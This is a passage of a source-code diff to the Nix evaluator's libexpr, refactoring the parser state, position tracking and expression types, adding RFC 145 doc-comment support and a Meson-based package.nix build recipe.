linesForInput.push_back(0); + } + // as above: the first line starts at byte 0 and is always present + auto lineStartOffset = std::prev( + std::upper_bound(linesForInput.begin(), linesForInput.end(), offset)); + + result.line = 1 + (lineStartOffset - linesForInput.begin()); + result.column = 1 + (offset - *lineStartOffset); + return result; +} + /* Symbol table. */ @@ -616,4 +645,22 @@ size_t SymbolTable::totalSize() const return n; } +std::string DocComment::getInnerText(const PosTable & positions) const { + auto beginPos = positions[begin]; + auto endPos = positions[end]; + auto docCommentStr = beginPos.getSnippetUpTo(endPos).value_or(""); + + // Strip "/**" and "*/" + constexpr size_t prefixLen = 3; + constexpr size_t suffixLen = 2; + std::string docStr = docCommentStr.substr(prefixLen, docCommentStr.size() - prefixLen - suffixLen); + if (docStr.empty()) + return {}; + // Turn the now missing "/**" into indentation + docStr = " " + docStr; + // Strip indentation (for the whole, potentially multi-line string) + docStr = stripIndentation(docStr); + return docStr; +} + } diff --git a/src/libexpr/nixexpr.hh b/src/libexpr/nixexpr.hh index ac7ce021e..7868834f1 100644 --- a/src/libexpr/nixexpr.hh +++ b/src/libexpr/nixexpr.hh @@ -1,139 +1,67 @@ #pragma once +///@file #include #include #include "value.hh" #include "symbol-table.hh" -#include "error.hh" -#include "chunked-vector.hh" - +#include "eval-error.hh" +#include "pos-idx.hh" namespace nix { - -MakeError(EvalError, Error); -MakeError(ParseError, Error); -MakeError(AssertionError, EvalError); -MakeError(ThrownError, AssertionError); -MakeError(Abort, EvalError); -MakeError(TypeError, EvalError); -MakeError(UndefinedVarError, Error); -MakeError(MissingArgumentError, EvalError); -MakeError(RestrictedPathError, Error); - -/* Position objects. */ -struct Pos -{ - uint32_t line; - uint32_t column; - - struct none_tag { }; - struct Stdin { ref source; }; - struct String { ref source; }; - - typedef std::variant Origin; - - Origin origin; - - explicit operator bool() const { return line > 0; } - - operator std::shared_ptr() const; -}; - -class PosIdx { - friend class PosTable; - -private: - uint32_t id; - - explicit PosIdx(uint32_t id): id(id) {} - -public: - PosIdx() : id(0) {} - - explicit operator bool() const { return id > 0; } - - bool operator <(const PosIdx other) const { return id < other.id; } - - bool operator ==(const PosIdx other) const { return id == other.id; } - - bool operator !=(const PosIdx other) const { return id != other.id; } -}; - -class PosTable -{ -public: - class Origin { - friend PosTable; - private: - // must always be invalid by default, add() replaces this with the actual value. - // subsequent add() calls use this index as a token to quickly check whether the - // current origins.back() can be reused or not. - mutable uint32_t idx = std::numeric_limits::max(); - - // Used for searching in PosTable::[]. - explicit Origin(uint32_t idx): idx(idx), origin{Pos::none_tag()} {} - - public: - const Pos::Origin origin; - - Origin(Pos::Origin origin): origin(origin) {} - }; - - struct Offset { - uint32_t line, column; - }; - -private: - std::vector origins; - ChunkedVector offsets; - -public: - PosTable(): offsets(1024) - { - origins.reserve(1024); - } - - PosIdx add(const Origin & origin, uint32_t line, uint32_t column) - { - const auto idx = offsets.add({line, column}).second; - if (origins.empty() || origins.back().idx != origin.idx) { - origin.idx = idx; - origins.push_back(origin); - } - return PosIdx(idx + 1); - } - - Pos operator[](PosIdx p) const - { - if (p.id == 0 || p.id > offsets.size()) - return {}; - const auto idx = p.id - 1; - /* we want the last key <= idx, so we'll take prev(first key > idx). - this is guaranteed to never rewind origin.begin because the first - key is always 0. */ - const auto pastOrigin = std::upper_bound( - origins.begin(), origins.end(), Origin(idx), - [] (const auto & a, const auto & b) { return a.idx < b.idx; }); - const auto origin = *std::prev(pastOrigin); - const auto offset = offsets[idx]; - return {offset.line, offset.column, origin.origin}; - } -}; - -inline PosIdx noPos = {}; - -std::ostream & operator << (std::ostream & str, const Pos & pos); - - -struct Env; -struct Value; class EvalState; +class PosTable; +struct Env; +struct ExprWith; struct StaticEnv; +struct Value; +/** + * A documentation comment, in the sense of [RFC 145](https://github.com/NixOS/rfcs/blob/master/rfcs/0145-doc-strings.md) + * + * Note that this does not implement the following: + * - argument attribute names ("formals"): TBD + * - argument names: these are internal to the function and their names may not be optimal for documentation + * - function arity (degree of currying or number of ':'s): + * - Functions returning partially applied functions have a higher arity + * than can be determined locally and without evaluation. + * We do not want to present false data. + * - Some functions should be thought of as transformations of other + * functions. For instance `overlay -> overlay -> overlay` is the simplest + * way to understand `composeExtensions`, but its implementation looks like + * `f: g: final: prev: <...>`. The parameters `final` and `prev` are part + * of the overlay concept, while distracting from the function's purpose. + */ +struct DocComment { -/* An attribute path is a sequence of attribute names. */ + /** + * Start of the comment, including the opening, ie `/` and `**`. + */ + PosIdx begin; + + /** + * Position right after the final asterisk and `/` that terminate the comment. + */ + PosIdx end; + + /** + * Whether the comment is set. + * + * A `DocComment` is small enough that it makes sense to pass by value, and + * therefore baking optionality into it is also useful, to avoiding the memory + * overhead of `std::optional`. + */ + operator bool() const { return static_cast(begin); } + + std::string getInnerText(const PosTable & positions) const; + +}; + +/** + * An attribute path is a sequence of attribute names. + */ struct AttrName { Symbol symbol; @@ -151,12 +79,22 @@ std::string showAttrPath(const SymbolTable & symbols, const AttrPath & attrPath) struct Expr { + struct AstSymbols { + Symbol sub, lessThan, mul, div, or_, findFile, nixPath, body; + }; + + + static unsigned long nrExprs; + Expr() { + nrExprs++; + } virtual ~Expr() { }; virtual void show(const SymbolTable & symbols, std::ostream & str) const; virtual void bindVars(EvalState & es, const std::shared_ptr & env); virtual void eval(EvalState & state, Env & env, Value & v); virtual Value * maybeThunk(EvalState & state, Env & env); virtual void setName(Symbol name); + virtual void setDocComment(DocComment docComment) { }; virtual PosIdx getPos() const { return noPos; } }; @@ -167,18 +105,17 @@ struct Expr struct ExprInt : Expr { - NixInt n; Value v; - ExprInt(NixInt n) : n(n) { v.mkInt(n); }; + ExprInt(NixInt n) { v.mkInt(n); }; + ExprInt(NixInt::Inner n) { v.mkInt(n); }; Value * maybeThunk(EvalState & state, Env & env) override; COMMON_METHODS }; struct ExprFloat : Expr { - NixFloat nf; Value v; - ExprFloat(NixFloat nf) : nf(nf) { v.mkFloat(nf); }; + ExprFloat(NixFloat nf) { v.mkFloat(nf); }; Value * maybeThunk(EvalState & state, Env & env) override; COMMON_METHODS }; @@ -187,16 +124,20 @@ struct ExprString : Expr { std::string s; Value v; - ExprString(std::string s) : s(std::move(s)) { v.mkString(this->s.data()); }; + ExprString(std::string &&s) : s(std::move(s)) { v.mkString(this->s.data()); }; Value * maybeThunk(EvalState & state, Env & env) override; COMMON_METHODS }; struct ExprPath : Expr { + ref accessor; std::string s; Value v; - ExprPath(std::string s) : s(std::move(s)) { v.mkPath(this->s.c_str()); }; + ExprPath(ref accessor, std::string s) : accessor(accessor), s(std::move(s)) + { + v.mkPath(&*accessor, this->s.c_str()); + } Value * maybeThunk(EvalState & state, Env & env) override; COMMON_METHODS }; @@ -210,14 +151,17 @@ struct ExprVar : Expr Symbol name; /* Whether the variable comes from an environment (e.g. a rec, let - or function argument) or from a "with". */ - bool fromWith; + or function argument) or from a "with". - /* In the former case, the value is obtained by going `level' + `nullptr`: Not from a `with`. + Valid pointer: the nearest, innermost `with` expression to query first. */ + ExprWith * fromWith; + + /* In the former case, the value is obtained by going `level` levels up from the current environment and getting the - `displ'th value in that environment. In the latter case, the - value is obtained by getting the attribute named `name' from - the set stored in the environment that is `level' levels up + `displ`th value in that environment. In the latter case, the + value is obtained by getting the attribute named `name` from + the set stored in the environment that is `level` levels up from the current one.*/ Level level; Displacement displ; @@ -229,14 +173,42 @@ struct ExprVar : Expr COMMON_METHODS }; +/** + * A pseudo-expression for the purpose of evaluating the `from` expression in `inherit (from)` syntax. + * Unlike normal variable references, the displacement is set during parsing, and always refers to + * `ExprAttrs::inheritFromExprs` (by itself or in `ExprLet`), whose values are put into their own `Env`. + */ +struct ExprInheritFrom : ExprVar +{ + ExprInheritFrom(PosIdx pos, Displacement displ): ExprVar(pos, {}) + { + this->level = 0; + this->displ = displ; + this->fromWith = nullptr; + } + + void bindVars(EvalState & es, const std::shared_ptr & env) override; +}; + struct ExprSelect : Expr { PosIdx pos; Expr * e, * def; AttrPath attrPath; - ExprSelect(const PosIdx & pos, Expr * e, const AttrPath & attrPath, Expr * def) : pos(pos), e(e), def(def), attrPath(attrPath) { }; + ExprSelect(const PosIdx & pos, Expr * e, AttrPath attrPath, Expr * def) : pos(pos), e(e), def(def), attrPath(std::move(attrPath)) { }; ExprSelect(const PosIdx & pos, Expr * e, Symbol name) : pos(pos), e(e), def(0) { attrPath.push_back(AttrName(name)); }; PosIdx getPos() const override { return pos; } + + /** + * Evaluate the `a.b.c` part of `a.b.c.d`. This exists mostly for the purpose of :doc in the repl. + * + * @param[out] v The attribute set that should contain the last attribute name (if it exists). + * @return The last attribute name in `attrPath` + * + * @note This does *not* evaluate the final attribute, and does not fail if that's the only attribute that does not exist. + */ + Symbol evalExceptFinalSelect(EvalState & state, Env & env, Value & attrs); + COMMON_METHODS }; @@ -244,7 +216,7 @@ struct ExprOpHasAttr : Expr { Expr * e; AttrPath attrPath; - ExprOpHasAttr(Expr * e, const AttrPath & attrPath) : e(e), attrPath(attrPath) { }; + ExprOpHasAttr(Expr * e, AttrPath attrPath) : e(e), attrPath(std::move(attrPath)) { }; PosIdx getPos() const override { return e->getPos(); } COMMON_METHODS }; @@ -254,16 +226,40 @@ struct ExprAttrs : Expr bool recursive; PosIdx pos; struct AttrDef { - bool inherited; + enum class Kind { + /** `attr = expr;` */ + Plain, + /** `inherit attr1 attrn;` */ + Inherited, + /** `inherit (expr) attr1 attrn;` */ + InheritedFrom, + }; + + Kind kind; Expr * e; PosIdx pos; Displacement displ; // displacement - AttrDef(Expr * e, const PosIdx & pos, bool inherited=false) - : inherited(inherited), e(e), pos(pos) { }; + AttrDef(Expr * e, const PosIdx & pos, Kind kind = Kind::Plain) + : kind(kind), e(e), pos(pos) { }; AttrDef() { }; + + template + const T & chooseByKind(const T & plain, const T & inherited, const T & inheritedFrom) const + { + switch (kind) { + case Kind::Plain: + return plain; + case Kind::Inherited: + return inherited; + default: + case Kind::InheritedFrom: + return inheritedFrom; + } + } }; typedef std::map AttrDefs; AttrDefs attrs; + std::unique_ptr> inheritFromExprs; struct DynamicAttrDef { Expr * nameExpr, * valueExpr; PosIdx pos; @@ -276,6 +272,11 @@ struct ExprAttrs : Expr ExprAttrs() : recursive(false) { }; PosIdx getPos() const override { return pos; } COMMON_METHODS + + std::shared_ptr bindInheritSources( + EvalState & es, const std::shared_ptr & env); + Env * buildInheritFromEnv(EvalState & state, Env & up); + void showBindings(const SymbolTable & symbols, std::ostream & str) const; }; struct ExprList : Expr @@ -283,6 +284,7 @@ struct ExprList : Expr std::vector elems; ExprList() { }; COMMON_METHODS + Value * maybeThunk(EvalState & state, Env & env) override; PosIdx getPos() const override { @@ -329,6 +331,8 @@ struct ExprLambda : Expr Symbol arg; Formals * formals; Expr * body; + DocComment docComment; + ExprLambda(PosIdx pos, Symbol arg, Formals * formals, Expr * body) : pos(pos), arg(arg), formals(formals), body(body) { @@ -341,6 +345,7 @@ struct ExprLambda : Expr std::string showNamePos(const EvalState & state) const; inline bool hasFormals() const { return formals != nullptr; } PosIdx getPos() const override { return pos; } + virtual void setDocComment(DocComment docComment) override; COMMON_METHODS }; @@ -369,6 +374,7 @@ struct ExprWith : Expr PosIdx pos; Expr * attrs, * body; size_t prevWith; + ExprWith * parentWith; ExprWith(const PosIdx & pos, Expr * attrs, Expr * body) : pos(pos), attrs(attrs), body(body) { }; PosIdx getPos() const override { return pos; } COMMON_METHODS @@ -396,6 +402,7 @@ struct ExprOpNot : Expr { Expr * e; ExprOpNot(Expr * e) : e(e) { }; + PosIdx getPos() const override { return e->getPos(); } COMMON_METHODS }; @@ -445,20 +452,30 @@ struct ExprPos : Expr COMMON_METHODS }; +/* only used to mark thunks as black holes. */ +struct ExprBlackHole : Expr +{ + void show(const SymbolTable & symbols, std::ostream & str) const override {} + void eval(EvalState & state, Env & env, Value & v) override; + void bindVars(EvalState & es, const std::shared_ptr & env) override {} +}; + +extern ExprBlackHole eBlackHole; + /* Static environments are used to map variable names onto (level, displacement) pairs used to obtain the value of the variable at runtime. */ struct StaticEnv { - bool isWith; + ExprWith * isWith; const StaticEnv * up; // Note: these must be in sorted order. typedef std::vector> Vars; Vars vars; - StaticEnv(bool isWith, const StaticEnv * up, size_t expectedSize = 0) : isWith(isWith), up(up) { + StaticEnv(ExprWith * isWith, const StaticEnv * up, size_t expectedSize = 0) : isWith(isWith), up(up) { vars.reserve(expectedSize); }; diff --git a/src/libexpr/package.nix b/src/libexpr/package.nix new file mode 100644 index 000000000..4d10079ff --- /dev/null +++ b/src/libexpr/package.nix @@ -0,0 +1,113 @@ +{ lib +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config +, bison +, flex +, cmake # for resolving toml11 dep + +, nix-util +, nix-store +, nix-fetchers +, boost +, boehmgc +, nlohmann_json +, toml11 + +# Configuration Options + +, version + +# Whether to use garbage collection for the Nix language evaluator. +# +# If it is disabled, we just leak memory, but this is not as bad as it +# sounds so long as evaluation just takes places within short-lived +# processes. (When the process exits, the memory is reclaimed; it is +# only leaked *within* the process.) +# +# Temporarily disabled on Windows because the `GC_throw_bad_alloc` +# symbol is missing during linking. +, enableGC ? !stdenv.hostPlatform.isWindows +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-expr"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + ./meson.options + ./primops/meson.build + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ./lexer.l + ./parser.y + (fileset.fileFilter (file: file.hasExt "nix") ./.) + ]; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + bison + flex + cmake + ]; + + buildInputs = [ + toml11 + ]; + + propagatedBuildInputs = [ + nix-util + nix-store + nix-fetchers + boost + nlohmann_json + ] ++ lib.optional enableGC boehmgc; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../.version + ''; + + mesonFlags = [ + (lib.mesonEnable "gc" enableGC) + ]; + + env = { + # Needed for Meson to find Boost. + # https://github.com/NixOS/nixpkgs/issues/86131. + BOOST_INCLUDEDIR = "${lib.getDev boost}/include"; + BOOST_LIBRARYDIR = "${lib.getLib boost}/lib"; + } // lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +}) diff --git a/src/libexpr/parser-state.hh b/src/libexpr/parser-state.hh new file mode 100644 index 000000000..8ad0d9ad7 --- /dev/null +++ b/src/libexpr/parser-state.hh @@ -0,0 +1,338 @@ +#pragma once +///@file + +#include + +#include "eval.hh" + +namespace nix { + +/** + * @note Storing a C-style `char *` and `size_t` allows us to avoid + * having to define the special members that using string_view here + * would implicitly delete. + */ +struct StringToken +{ + const char * p; + size_t l; + bool hasIndentation; + operator std::string_view() const { return {p, l}; } +}; + +// This type must be trivially copyable; see YYLTYPE_IS_TRIVIAL in parser.y. +struct ParserLocation +{ + int beginOffset; + int endOffset; + + // backup to recover from yyless(0) + int stashedBeginOffset, stashedEndOffset; + + void stash() { + stashedBeginOffset = beginOffset; + stashedEndOffset = endOffset; + } + + void unstash() { + beginOffset = stashedBeginOffset; + endOffset = stashedEndOffset; + } + + /** Latest doc comment position, or 0. */ + int doc_comment_first_column, doc_comment_last_column; +}; + +struct LexerState +{ + /** + * Tracks the distance to the last doc comment, in terms of lexer tokens. + * + * The lexer sets this to 0 when reading a doc comment, and increments it + * for every matched rule; see `lexer-helpers.cc`. + * Whitespace and comment rules decrement the distance, so that they result + * in a net 0 change in distance. + */ + int docCommentDistance = std::numeric_limits::max(); + + /** + * The location of the last doc comment. + * + * (stashing fields are not used) + */ + ParserLocation lastDocCommentLoc; + + /** + * @brief Maps some positions to a DocComment, where the comment is relevant to the location. + */ + std::unordered_map & positionToDocComment; + + PosTable & positions; + PosTable::Origin origin; + + PosIdx at(const ParserLocation & loc); +}; + +struct ParserState +{ + const LexerState & lexerState; + SymbolTable & symbols; + PosTable & positions; + Expr * result; + SourcePath basePath; + PosTable::Origin origin; + const ref rootFS; + const Expr::AstSymbols & s; + const EvalSettings & settings; + + void dupAttr(const AttrPath & attrPath, const PosIdx pos, const PosIdx prevPos); + void dupAttr(Symbol attr, const PosIdx pos, const PosIdx prevPos); + void addAttr(ExprAttrs * attrs, AttrPath && attrPath, const ParserLocation & loc, Expr * e, const ParserLocation & exprLoc); + Formals * validateFormals(Formals * formals, PosIdx pos = noPos, Symbol arg = {}); + Expr * stripIndentation(const PosIdx pos, + std::vector>> && es); + PosIdx at(const ParserLocation & loc); +}; + +inline void ParserState::dupAttr(const AttrPath & attrPath, const PosIdx pos, const PosIdx prevPos) +{ + throw ParseError({ + .msg = HintFmt("attribute '%1%' already defined at %2%", + showAttrPath(symbols, attrPath), positions[prevPos]), + .pos = positions[pos] + }); +} + +inline void ParserState::dupAttr(Symbol attr, const PosIdx pos, const PosIdx prevPos) +{ + throw ParseError({ + .msg = HintFmt("attribute '%1%' already defined at %2%", symbols[attr], positions[prevPos]), + .pos = positions[pos] + }); +} + +inline void ParserState::addAttr(ExprAttrs * attrs, AttrPath && attrPath, const ParserLocation & loc, Expr * e, const ParserLocation & exprLoc) +{ + AttrPath::iterator i; + // All attrpaths have at least one attr + assert(!attrPath.empty()); + auto pos = at(loc); + // Checking attrPath validity. + // =========================== + for (i = attrPath.begin(); i + 1 < attrPath.end(); i++) { + if (i->symbol) { + ExprAttrs::AttrDefs::iterator j = attrs->attrs.find(i->symbol); + if (j != attrs->attrs.end()) { + if (j->second.kind != ExprAttrs::AttrDef::Kind::Inherited) { + ExprAttrs * attrs2 = dynamic_cast(j->second.e); + if (!attrs2) dupAttr(attrPath, pos, j->second.pos); + attrs = attrs2; + } else + dupAttr(attrPath, pos, j->second.pos); + } else { + ExprAttrs * nested = new ExprAttrs; + attrs->attrs[i->symbol] = ExprAttrs::AttrDef(nested, pos); + attrs = nested; + } + } else { + ExprAttrs *nested = new ExprAttrs; + attrs->dynamicAttrs.push_back(ExprAttrs::DynamicAttrDef(i->expr, nested, pos)); + attrs = nested; + } + } + // Expr insertion. + // ========================== + if (i->symbol) { + ExprAttrs::AttrDefs::iterator j = attrs->attrs.find(i->symbol); + if (j != attrs->attrs.end()) { + // This attr path is already defined. However, if both + // e and the expr pointed by the attr path are two attribute sets, + // we want to merge them. + // Otherwise, throw an error. + auto ae = dynamic_cast(e); + auto jAttrs = dynamic_cast(j->second.e); + if (jAttrs && ae) { + if (ae->inheritFromExprs && !jAttrs->inheritFromExprs) + jAttrs->inheritFromExprs = std::make_unique>(); + for (auto & ad : ae->attrs) { + auto j2 = jAttrs->attrs.find(ad.first); + if (j2 != jAttrs->attrs.end()) // Attr already defined in iAttrs, error. + dupAttr(ad.first, j2->second.pos, ad.second.pos); + jAttrs->attrs.emplace(ad.first, ad.second); + if (ad.second.kind == ExprAttrs::AttrDef::Kind::InheritedFrom) { + auto & sel = dynamic_cast(*ad.second.e); + auto & from = dynamic_cast(*sel.e); + from.displ += jAttrs->inheritFromExprs->size(); + } + } + jAttrs->dynamicAttrs.insert(jAttrs->dynamicAttrs.end(), ae->dynamicAttrs.begin(), ae->dynamicAttrs.end()); + if (ae->inheritFromExprs) { + jAttrs->inheritFromExprs->insert(jAttrs->inheritFromExprs->end(), + ae->inheritFromExprs->begin(), ae->inheritFromExprs->end()); + } + } else { + dupAttr(attrPath, pos, j->second.pos); + } + } else { + // This attr path is not defined. Let's create it. + attrs->attrs.emplace(i->symbol, ExprAttrs::AttrDef(e, pos)); + e->setName(i->symbol); + } + } else { + attrs->dynamicAttrs.push_back(ExprAttrs::DynamicAttrDef(i->expr, e, pos)); + } + + auto it = lexerState.positionToDocComment.find(pos); + if (it != lexerState.positionToDocComment.end()) { + e->setDocComment(it->second); + lexerState.positionToDocComment.emplace(at(exprLoc), it->second); + } +} + +inline Formals * ParserState::validateFormals(Formals * formals, PosIdx pos, Symbol arg) +{ + std::sort(formals->formals.begin(), formals->formals.end(), + [] (const auto & a, const auto & b) { + return std::tie(a.name, a.pos) < std::tie(b.name, b.pos); + }); + + std::optional> duplicate; + for (size_t i = 0; i + 1 < formals->formals.size(); i++) { + if (formals->formals[i].name != formals->formals[i + 1].name) + continue; + std::pair thisDup{formals->formals[i].name, formals->formals[i + 1].pos}; + duplicate = std::min(thisDup, duplicate.value_or(thisDup)); + } + if (duplicate) + throw ParseError({ + .msg = HintFmt("duplicate formal function argument '%1%'", symbols[duplicate->first]), + .pos = positions[duplicate->second] + }); + + if (arg && formals->has(arg)) + throw ParseError({ + .msg = HintFmt("duplicate formal function argument '%1%'", symbols[arg]), + .pos = positions[pos] + }); + + return formals; +} + +inline Expr * ParserState::stripIndentation(const PosIdx pos, + std::vector>> && es) +{ + if (es.empty()) return new ExprString(""); + + /* Figure out the minimum indentation. Note that by design + whitespace-only final lines are not taken into account. (So + the " " in "\n ''" is ignored, but the " " in "\n foo''" is.) */ + bool atStartOfLine = true; /* = seen only whitespace in the current line */ + size_t minIndent = 1000000; + size_t curIndent = 0; + for (auto & [i_pos, i] : es) { + auto * str = std::get_if(&i); + if (!str || !str->hasIndentation) { + /* Anti-quotations and escaped characters end the current start-of-line whitespace. */ + if (atStartOfLine) { + atStartOfLine = false; + if (curIndent < minIndent) minIndent = curIndent; + } + continue; + } + for (size_t j = 0; j < str->l; ++j) { + if (atStartOfLine) { + if (str->p[j] == ' ') + curIndent++; + else if (str->p[j] == '\n') { + /* Empty line, doesn't influence minimum + indentation. */ + curIndent = 0; + } else { + atStartOfLine = false; + if (curIndent < minIndent) minIndent = curIndent; + } + } else if (str->p[j] == '\n') { + atStartOfLine = true; + curIndent = 0; + } + } + } + + /* Strip spaces from each line. */ + auto * es2 = new std::vector>; + atStartOfLine = true; + size_t curDropped = 0; + size_t n = es.size(); + auto i = es.begin(); + const auto trimExpr = [&] (Expr * e) { + atStartOfLine = false; + curDropped = 0; + es2->emplace_back(i->first, e); + }; + const auto trimString = [&] (const StringToken & t) { + std::string s2; + for (size_t j = 0; j < t.l; ++j) { + if (atStartOfLine) { + if (t.p[j] == ' ') { + if (curDropped++ >= minIndent) + s2 += t.p[j]; + } + else if (t.p[j] == '\n') { + curDropped = 0; + s2 += t.p[j]; + } else { + atStartOfLine = false; + curDropped = 0; + s2 += t.p[j]; + } + } else { + s2 += t.p[j]; + if (t.p[j] == '\n') atStartOfLine = true; + } + } + + /* Remove the last line if it is empty and consists only of + spaces. */ + if (n == 1) { + std::string::size_type p = s2.find_last_of('\n'); + if (p != std::string::npos && s2.find_first_not_of(' ', p + 1) == std::string::npos) + s2 = std::string(s2, 0, p + 1); + } + + // Ignore empty strings for a minor optimisation and AST simplification + if (s2 != "") { + es2->emplace_back(i->first, new ExprString(std::move(s2))); + } + }; + for (; i != es.end(); ++i, --n) { + std::visit(overloaded { trimExpr, trimString }, i->second); + } + + // If there is nothing at all, return the empty string directly. + // This also ensures that equivalent empty strings result in the same ast, which is helpful when testing formatters. + if (es2->size() == 0) { + auto *const result = new ExprString(""); + delete es2; + return result; + } + + /* If this is a single string, then don't do a concatenation. */ + if (es2->size() == 1 && dynamic_cast((*es2)[0].second)) { + auto *const result = (*es2)[0].second; + delete es2; + return result; + } + return new ExprConcatStrings(pos, true, es2); +} + +inline PosIdx LexerState::at(const ParserLocation & loc) +{ + return positions.add(origin, loc.beginOffset); +} + +inline PosIdx ParserState::at(const ParserLocation & loc) +{ + return positions.add(origin, loc.beginOffset); +} + +} diff --git a/src/libexpr/parser.y b/src/libexpr/parser.y index e07909f8e..f2ccca7fc 100644 --- a/src/libexpr/parser.y +++ b/src/libexpr/parser.y @@ -1,15 +1,14 @@ -%glr-parser +%define api.location.type { ::nix::ParserLocation } %define api.pure %locations %define parse.error verbose %defines /* %no-lines */ %parse-param { void * scanner } -%parse-param { nix::ParseData * data } +%parse-param { nix::ParserState * state } %lex-param { void * scanner } -%lex-param { nix::ParseData * data } -%expect 1 -%expect-rr 1 +%lex-param { nix::ParserState * state } +%expect 0 %code requires { @@ -18,43 +17,62 @@ #include +#include "finally.hh" #include "util.hh" +#include "users.hh" #include "nixexpr.hh" #include "eval.hh" -#include "globals.hh" +#include "eval-settings.hh" +#include "parser-state.hh" + +// Bison seems to have difficulty growing the parser stack when using C++ with +// a custom location type. This undocumented macro tells Bison that our +// location type is "trivially copyable" in C++-ese, so it is safe to use the +// same memcpy macro it uses to grow the stack that it uses with its own +// default location type. Without this, we get "error: memory exhausted" when +// parsing some large Nix files. Our other options are to increase the initial +// stack size (200 by default) to be as large as we ever want to support (so +// that growing the stack is unnecessary), or redefine the stack-relocation +// macro ourselves (which is also undocumented). +#define YYLTYPE_IS_TRIVIAL 1 + +#define YY_DECL int yylex \ + (YYSTYPE * yylval_param, YYLTYPE * yylloc_param, yyscan_t yyscanner, nix::ParserState * state) + +// For efficiency, we only track offsets; not line,column coordinates +# define YYLLOC_DEFAULT(Current, Rhs, N) \ + do \ + if (N) \ + { \ + (Current).beginOffset = YYRHSLOC (Rhs, 1).beginOffset; \ + (Current).endOffset = YYRHSLOC (Rhs, N).endOffset; \ + } \ + else \ + { \ + (Current).beginOffset = (Current).endOffset = \ + YYRHSLOC (Rhs, 0).endOffset; \ + } \ + while (0) namespace nix { - struct ParseData - { - EvalState & state; - SymbolTable & symbols; - Expr * result; - Path basePath; - PosTable::Origin origin; - std::optional error; - }; +typedef std::unordered_map DocCommentMap; - struct ParserFormals { - std::vector formals; - bool ellipsis = false; - }; +Expr * parseExprFromBuf( + char * text, + size_t length, + Pos::Origin origin, + const SourcePath & basePath, + SymbolTable & symbols, + const EvalSettings & settings, + PosTable & positions, + DocCommentMap & docComments, + const ref rootFS, + const Expr::AstSymbols & astSymbols); } -// using C a struct allows us to avoid having to define the special -// members that using string_view here would implicitly delete. -struct StringToken { - const char * p; - size_t l; - bool hasIndentation; - operator std::string_view() const { return {p, l}; } -}; - -#define YY_DECL int yylex \ - (YYSTYPE * yylval_param, YYLTYPE * yylloc_param, yyscan_t yyscanner, nix::ParseData * data) - #endif } @@ -68,234 +86,34 @@ YY_DECL; using namespace nix; - -namespace nix { +#define CUR_POS state->at(yyloc) -static void dupAttr(const EvalState & state, const AttrPath & attrPath, const PosIdx pos, const PosIdx prevPos) +void yyerror(YYLTYPE * loc, yyscan_t scanner, ParserState * state, const char * error) { + if (std::string_view(error).starts_with("syntax error, unexpected end of file")) { + loc->beginOffset = loc->endOffset; + } throw ParseError({ - .msg = hintfmt("attribute '%1%' already defined at %2%", - showAttrPath(state.symbols, attrPath), state.positions[prevPos]), - .errPos = state.positions[pos] + .msg = HintFmt(error), + .pos = state->positions[state->at(*loc)] }); } -static void dupAttr(const EvalState & state, Symbol attr, const PosIdx pos, const PosIdx prevPos) -{ - throw ParseError({ - .msg = hintfmt("attribute '%1%' already defined at %2%", state.symbols[attr], state.positions[prevPos]), - .errPos = state.positions[pos] - }); -} - - -static void addAttr(ExprAttrs * attrs, AttrPath & attrPath, - Expr * e, const PosIdx pos, const nix::EvalState & state) -{ - AttrPath::iterator i; - // All attrpaths have at least one attr - assert(!attrPath.empty()); - // Checking attrPath validity. - // =========================== - for (i = attrPath.begin(); i + 1 < attrPath.end(); i++) { - if (i->symbol) { - ExprAttrs::AttrDefs::iterator j = attrs->attrs.find(i->symbol); - if (j != attrs->attrs.end()) { - if (!j->second.inherited) { - ExprAttrs * attrs2 = dynamic_cast(j->second.e); - if (!attrs2) dupAttr(state, attrPath, pos, j->second.pos); - attrs = attrs2; - } else - dupAttr(state, attrPath, pos, j->second.pos); - } else { - ExprAttrs * nested = new ExprAttrs; - attrs->attrs[i->symbol] = ExprAttrs::AttrDef(nested, pos); - attrs = nested; - } - } else { - ExprAttrs *nested = new ExprAttrs; - attrs->dynamicAttrs.push_back(ExprAttrs::DynamicAttrDef(i->expr, nested, pos)); - attrs = nested; - } - } - // Expr insertion. - // ========================== - if (i->symbol) { - ExprAttrs::AttrDefs::iterator j = attrs->attrs.find(i->symbol); - if (j != attrs->attrs.end()) { - // This attr path is already defined. However, if both - // e and the expr pointed by the attr path are two attribute sets, - // we want to merge them. - // Otherwise, throw an error. - auto ae = dynamic_cast(e); - auto jAttrs = dynamic_cast(j->second.e); - if (jAttrs && ae) { - for (auto & ad : ae->attrs) { - auto j2 = jAttrs->attrs.find(ad.first); - if (j2 != jAttrs->attrs.end()) // Attr already defined in iAttrs, error. - dupAttr(state, ad.first, j2->second.pos, ad.second.pos); - jAttrs->attrs.emplace(ad.first, ad.second); - } - } else { - dupAttr(state, attrPath, pos, j->second.pos); - } - } else { - // This attr path is not defined. Let's create it. - attrs->attrs.emplace(i->symbol, ExprAttrs::AttrDef(e, pos)); - e->setName(i->symbol); - } - } else { - attrs->dynamicAttrs.push_back(ExprAttrs::DynamicAttrDef(i->expr, e, pos)); +#define SET_DOC_POS(lambda, pos) setDocPosition(state->lexerState, lambda, state->at(pos)) +static void setDocPosition(const LexerState & lexerState, ExprLambda * lambda, PosIdx start) { + auto it = lexerState.positionToDocComment.find(start); + if (it != lexerState.positionToDocComment.end()) { + lambda->setDocComment(it->second); } } - -static Formals * toFormals(ParseData & data, ParserFormals * formals, - PosIdx pos = noPos, Symbol arg = {}) -{ - std::sort(formals->formals.begin(), formals->formals.end(), - [] (const auto & a, const auto & b) { - return std::tie(a.name, a.pos) < 